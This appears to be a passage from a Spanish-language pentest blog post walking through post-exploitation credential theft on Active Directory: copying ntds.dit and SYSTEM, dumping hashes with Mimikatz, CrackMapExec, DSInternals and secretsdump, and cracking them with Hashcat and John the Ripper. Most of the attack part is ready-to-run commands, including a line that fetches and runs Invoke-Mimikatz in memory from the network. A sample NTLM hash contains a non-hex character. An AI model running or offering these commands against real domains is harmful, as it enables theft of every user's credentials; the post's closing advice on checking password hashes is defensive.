Si la contraseña tiene más de 7 caracteres se divide en dos bloques, en el supuesto de utilizar una contraseña de 10 caracteres el ataque de fuerza bruta se realizará para un primer bloque de 7 y otro para un segundo bloque de 3 caracteres restantes, ambos bloques tienen el mismo espacio y en el caso del segundo, ya sea 1 solo caracter o 7 ocuparía el mismo espacio del hash. Si se utilizara una contraseña de 14 caracteres en vez de elevar exponencialmente el tiempo de ataque, simplemente se tardaría el doble de tiempo, por lo que daría igual usar una contraseña con una de 7 caracteres como una de 14 que sería la longitud máxima soportada para el almacenamiento de hashes LM.

Ejemplo de LM Hash: <35ABD1B8C5128FC8><6ABCF57855D56AC9>. Sin los signos <>. Simplemente se representó así para mostrar lo que sería un primer y segundo bloque del hash LM.

Más información sobre LM Hash (Lan Manager):

NT Hash o NTLM (New Technology Lan Manager)

A partir de sistemas Windows 2008/Vista se usa por defecto NTLM (aunque por compatibilidad se puede seguir haciendo uso de LM).

NTLM Es la mejora de cifrado respecto a LM. NTLM diferencia entre mayúsculas y minúsculas, calcula el hash cifrando con el estándar MD4. Pero por defecto sigue almacenando las contraseñas cifradas en LM y NTLM en la misma base de datos del fichero SAM  que se encuentra en el path "C:\Windows\System32\config\SAM".
  • Almacenamiento sin salt (igual que LM).
  • Contraseñas más de 14 caracteres.
  • Crackeables: RT Rainbow Tables (no salt) y BF Brute Force en función del tamaño (más de 5 caracteres RT). Ophcrack (distro Linux) mediante RT.
Ejemplo de NT Hash (NTLM): 4B6A9B02C6F09P9BD265F388BA951E2B

Actualmente existen varias versiones mejoradas del protocolo de autenticación desafío-respuesta. NTLMv1 y NTLMv2https://en.wikipedia.org/wiki/NT_LAN_Manager#NTLMv1

Opciones de ejecución de código remoto

Hay varias formas diferentes de ejecutar comandos de forma remota en un controlador de dominio,  suponiendo que se ejecuten con los derechos adecuados. Los métodos de ejecución remota más fiables incluyen PowerShell (aprovecha WinRM) o WMI.

WMI
wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"
PowerShell (WMI)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $COMMAND -ComputerName $COMPUTER -Credential $CRED
WinRM
winrs -r:COMPUTER COMMAND
PowerShell Remoto
Invoke-Command -computername $COMPUTER -command {$COMMAND}
New-PSSession -Name PSCOMPUTER -ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

1. Extraer los ficheros ntds.dit y SYSTEM de un controlador de dominio

Después de una post-explotación, conseguir acceso a un sistema y una escalada de privilegios. Podemos realizar un dump de los hashes NTLM a partir del fichero ntds.dit. Este fichero es la base datos encargada de almacenar los hashes de las contraseñas de usuarios de Active Directory.

El primer paso para la extracción de hashes de contraseñas de usuarios de Active Directoy, es obtener una copia del archivo ntds.dit. El problema es que no podemos copiar este fichero sin más, ya que está constantemente en uso y bloqueado por AD.

Figura 1: Error al copiar el archivo en uso ntds.dit de un controlador de dominio.

Para volcar y/o copiar el fichero ntds.dit podemos usar cualquiera de estos métodos.
  • Servicio VSS: Volume Shadow Copies a través del comando VSSAdmin.
  • IFM (Install From Media) de NTDSUTIL.
  • Invoke-NinjaCopy - módulo PowerSploit.
  • Mimikatz lsa y dcsyn (volcado de memoria de credenciales, no copia ficheros).
  • Invoke-Mimikatz - módulo PowerSploit (volcado de memoria de credenciales, no copia ficheros).
  • CrackMapExec.

Método 1: Servicio VSS - Volume Shadow Copy: Usando el comando VSSAdmin 

El servicio VSS (Volume Shadow Copy) o servicio de instantáneas de volumen de Windows es el encargado de crear backups a modo de instantáneas temporales. Se puede usar el comando vssadmin para la gestión de este servicio de instantáneas. De modo que después se puedan copiar de un volumen de instantánea en el que no estará constantemente en uso por AD.

Crear un volumen de instantánea del disco C:
vssadmin create shadow /for=C:
copy <Nombre_Volumen_Instantanea>\Windows\System32\config\SYSTEM C:\export\SYSTEM
copy <Nombre_Volumen_Instantanea>\Windows\NTDS\ntds.dit C:\export\ntds.dit
Eliminar el volumen de la instantánea del disco C:
vssadmin list shadows
vssadmin delete shadows /shadow={Id_Instantanea}
Figura 2: Copiar los ficheros en uso ntds.dit y SYSTEM con VSSAdmin de un controlador de dominio.

Método 2: IFM (Install From Media) de NTDSUTIL

El método IFM (Install From Media) usa los datos en los medios de instalación para instalar AD DS, lo que elimina la necesidad de replicar todos los objetos de un controlador de dominio asociado.

NTDSUtil es la utilidad de comandos para trabajar de forma nativa con la BD de AD (ntds.dit) y permite la creación de conjuntos IFM para DCPromo. IFM se utiliza con DCPromo para "Instalar desde los medios", de modo que el servidor que se promueve no necesita copiar los datos del dominio a través de la red desde otro DC.

Al crear un IFM, se toma una instantánea de VSS, se monta y el archivo ntds.dit y los datos asociados se copian en la carpeta de destino (c:\temp).
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
Figura 3: Usando IFM de ntdsutil para exportar ntds.dit y SYSTEM de un controlador de dominio. 

Método 3: Invoke-NinjaCopy - módulo PowerSploit

Otra forma de copiar archivos en uso por el sistema o en este caso Active Directory es usar el cmdlet Invoke-NinjaCopy incluido en el módulo PowerSploit, este copia un archivo de un volumen NTFS sin procesar, es otra ofrma de copiar archivos bloqueados por Active Directory sin alertar a ningún sistema de monitoreo.

Instalar el módulo PowerSploit:
  • Descargamos el módulo
  • Copiamos el directorio en una de las rutas por defecto donde se almacenan los módulos de PowerShell. Podemos consultar los paths listando la variable de entorno: $Env:PSModulePath.
  • Importamos el módulo: Import-Module PowerSploit.
  • Para obtener todos los cmdlets disponibles: Get-Command -Module PowerSploit.
Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\export\ntds\ntds.dit
Figura 4: Copiar el fichero ntds.dit con Invoke-NinjaCopy de un controlador de dominio.

Método 4: Mimikatz lsa y dcsync (solo volcado de memoria de los hashes de credenciales)

Este método no realiza un copia de los ficheros ndts.dit y SYSTEM. Solamente realiza un volcado de memoria si alguno de los usuarios a iniciado sesión en el equipo o controlador de dominio.

Usando LSASS (Local Security Authority Subsystem Service):
mimikatz lsadump::lsa /inject exit
Figura 5: Mimikatz - Volcado de memoria usando lsass.

Usando dcsync:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
Figura 6: Mimikatz - Volcado de memoria de un usuario usando dcsync. 

Método 5: Invoke-Mimikatz - módulo PowerSploit (solo volcado de memoria de los hashes de credenciales)

Invoke-Mimikatz es un componente de PowerSploit. Aprovecha Mimikatz 2.0 e Invoke-ReflectivePEInjection para cargar reflexivamente la DLL de Mimikatz (incluida en el script) en la memoria. Esto permite volcar credenciales sin tener que escribir el binario de Mimikatz en el disco.

Descargar e importar la función en memoria de la instancia actual de PowerShell.
IEX (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content

Ejecutar Invoke-Mimikatz usando LSASS.

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'

Ejecutar en un equipo remota (PowerShell remoto debe estar permitido y configurado):

Invoke-Mimikatz -Command '"privilege::debug" "LSADump:LSA /inject"' -Computer DC01.domain.local 

Método 6: CrackMapExec

Otra alternativa es hacer uso de CrackMapExec. En este caso debemos tener las credenciales de una cuenta privilegiada local o de dominio sobre el DC. Dependiendo del parámetro que indiquemos disponemos de varias opciones de volcado de hashes ya sea una lectura en memoria o copiando el contenido del fichero ntds.dit a una máquina remota que en este caso será una Kali.

El parámetro que nos interesa sería a nivel de dominio sería el --ntds que se muestra en el figura 6. Pero mostraré las alternativas para un uso local como el volcado de la SAM (Security Account Manager).
  • Obteniendo hashes desde un volcado de memoria leyendo lsass.exe (parámetro --lsa).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --lsa
Figura 7: Volcado de memoria con CrackMapExec --lsa.
  • Obteniendo la base de datos local SAM (parámetro --sam).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --sam
Figura 8: Volcando de memoria con CrackMapExec --sam.
  • Obteniendo los hashes de todas las cuentas de dominio Active Directory desde el fichero ntds.dit (parámetro --ntds).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --ntds
Figura 9: Volcado del fichero ntds.dit de un controlador de dominio.

2. Volcado de hashes NTLM del fichero ntds.dit

Podemos volcar los hashes NTLM del fichero ntds.dit de dos formas:

Método 1: Módulo DSInternals - Usando los cmdlets Get-BootKey y Get-ADDBAccount

Instalar módulo DSInternals.
Install-Module -Name DSInternals -Force
Import-Module -Name DSInternals
Import-Module -Name ActiveDirectory
Get-BootKey lee la clave de registro de Windows del sistema de arranque SYSTEM del registro de Windows "HKEY_LOCAL_MACHINE\SYSTEM" o también puede hacerse referenciando el propio fichero SYSTEM "%systemroot%\System32\config\SYSTEM".

Podemos exportar la clave de registro o copiar el fichero SYSTEM a un directorio en el que no esté en uso con alguna de las técnicas mencionadas anteriormente en el apartado 1.

Para poder volcar los hashes NTLM de los usuarios de AD y leerlos en plain-text del fichero ntds.dit. Obtenemos la clave de registro SYSTEM con Get-BootKey y se la pasamos con el parámetro -BooKey en Get-ADDBAccount.
reg save hklm\system C:\export\system
$key = Get-BootKey -SystemHiveFilePath C:\export\system
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit
Es probable que al intentar leer el fichero ntds.dit se muestre el error "The database is not in a clean state". Hacemos uso de la utilidad de comandos esentutl para reparar la base de datos de Active Directory.
esentutl /p C:\export\ntds.dit /!10240 /8 /o
A continuación volvemos a ejecutar Get-ADDBAccount.

Figura 10: Get-ADDBAccount - Obtener información de las cuentas de usuarios de AD.

Podemos simplificar la información de salida de las cuentas de usuarios de AD redireccionándola a un fichero y obtener los hashes de contraseñas asociados a los nombres de las cuentas de AD que se corresponde al atributo -SamAccountName-.
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit > C:\export\hashes_tmp.txt
Select-String -Path C:\export\hashes_tmp.txt -Pattern '(NTHash)|(SamAccountName:)' > C:\export\hashes.txt
Remove-Item C:\export\hashes_tmp.txt
Figura 11: Recopilación de hashes NTLM del fichero ntds.dit de las cuentas de usuarios de AD.

Método 2: Kali - Impacket-secretsdump (script en Python -secretsdump.py-)

Otra forma de realizar el volcado de hashes NTLM del fichero ntds.dit es usar un script en Python llamado secretsdump.py. Este se integra en uno de los módulos auxiliary de escaneo Impacket-secretsdump de Metasploit.

En este caso al usar el fichero de ntds.dit de forma local ejecutamos Impacket-secretsdump desde el path "/usr/share/impacket" en una terminal de Kali.
impacket-secretsdump -system /root/hashes/SYSTEM -ntds /root/hashes/ntds.dit LOCAL -outputfile /root/hashes/hashes.txt
Figura 12: Volcado de hashes NTLM del fichero ntds.dit con Impacket-secretsdump. 

Método 3: Nishang Framework - Get-PassHashes.ps1 (script en PowerShell)

También se puede realizar un volcado de hashes con uno de los script del framework de Nishang Get-PassHashes.ps1

Nishang es un framework muy potente para PowerShell que contiene multitud de scripts para escaneo, gathering, escalada de privilegios, pivoting, etc.

Figura 13: Nishang Framework - Volcado de hashes NTLM con Get-PassHashes.ps1.

3. Cracking con Hashcat y John The Ripper: Descifrado de hashes NTLM para obtener las contraseñas de usuarios de AD

Podemos descifrar hashes utilizando tres posibles técnicas.
  1. Ataque por fuerza bruta (Brute-force attack).
  2. Ataque por diccionarios o Wordlist.
  3. Ataque por Rainbow tables.

Hashcat

En este caso como prueba de concepto se empleará un ataque por diccionario usando la herramienta Hashcat. Integrada en Kali (/usr/bin/hashcat).

Una vez redireccionamos la salida de los hashes a un fichero solamente quedaría descifrar dichos hashes para obtener el valor de cadena en plain-text de las contraseñas de cuentas de usuarios de AD.
hashcat -m 1000 /root/hashes/hashes.txt /root/breachcompilation.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
Donde "breachcompilation.txt" es el diccionario -fichero que contiene el wordlist- e "InsidePro-PasswordsPro.rule" será el tipo de regla utilizada para el proceso de password cracking.

En la siguiente captura vemos como se muestra el hash:contraseña. De esta manera podemos relacionar el hash con el usuario al que se corresponde a través del fichero que se creo en el apartado 2 donde se mostraba el volcado de hashes NTLM.

La estructura estándar sería al como:
<Nombre de usuario>:<ID de usuario>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
Figura 14: Ataque por diccionario con Hashcat - Password cracking de hashes NTLM de Active Directory.

John The Ripper

Otra opción es realizar el ataque por fuerza bruta o por diccionario con la herramienta John The Ripper. Integrada en Kali (/usr/sbin/john).

Obtener la lista de los formatos disponibles.
john --list=formats
Siguiendo el ejemplo anterior usado en Hashcat. Para un tipo de formato de hashes NTLM (--format=NT) usando un diccionario.
john --format=NT /root/hashes/hashes.txt --wordlist=/root/breachcompilation.txt --rules
Si se descifran contraseñas, se almacenan en $JOHN/john.pot. El archivo john.pot no es leído en un formato en claro. Para leer este fichero se debe usar el parámetro --show seguido del fichero donde están almacenados los hashes.
john --show --format=NT /root/hashes/hashes.txt
Figura 15: Ataque por diccionario con John The Ripper - Password cracking de hashes NTLM de Active Directory.

Podemos seguir el avance a tiempo real del proceso de cracking consultando el fichero $JOHN/john.log.
tail -f .john/john.log
Figura 16: Consultar el log de John para ver a tiempo real el proceso de cracking.

4. Hash cracking Online: Comprobar si los hashes NTLM ya son conocidos en bases de datos de Internet

Otra forma de realizar el cracking de passwords una vez conocemos los hashes NTLM. Sería consultar a través de varios sitios web disponibles en internet si el hash que tienen en las wordlist de estas webs hace match con el que se le referencia, si así directamente nos dará como resultado la cadena de password encontrada.

Existen multitud de webs para realizar estas comprobaciones como por ejemplo:
Figura 17: Descifrar hashes NTLM comparándolos con hashes ya conocidos en sitios webs.

5. Comprueba si ya existe el hash de tu contraseña antes de usarla

Un motivo a tener en cuenta en el momento de crear contraseñas, es comprobar si el hash de la contraseña que utilizamos o vamos utilizar ya es conocido y está público en internet. Si ya existe en alguna wordlist de los sitios webs comentados en el apartado 4. Obviamente podemos realizar esta comprobación en más sitios, las webs anteriores solo fueron un ejemplo.

Algo que nos puede dar un poco más de confianza en la fortificación de nuestras passwords, sería comprobarlas previamente generando el hash NTLM a partir de tu contraseña. Lógicamente es un pequeño extra de seguridad, no lo hace ni mucho menos más seguro. Simplemente demorarías el tiempo de un ataque por diccionario a un atacante y la facilidad de obtener una contraseña.

Algunas webs que podemos usar para la generación de hashes NTLM:
Figura 18: Generar hashes NTLM a partir de una contraseña.

Saludos!

Entradas Populares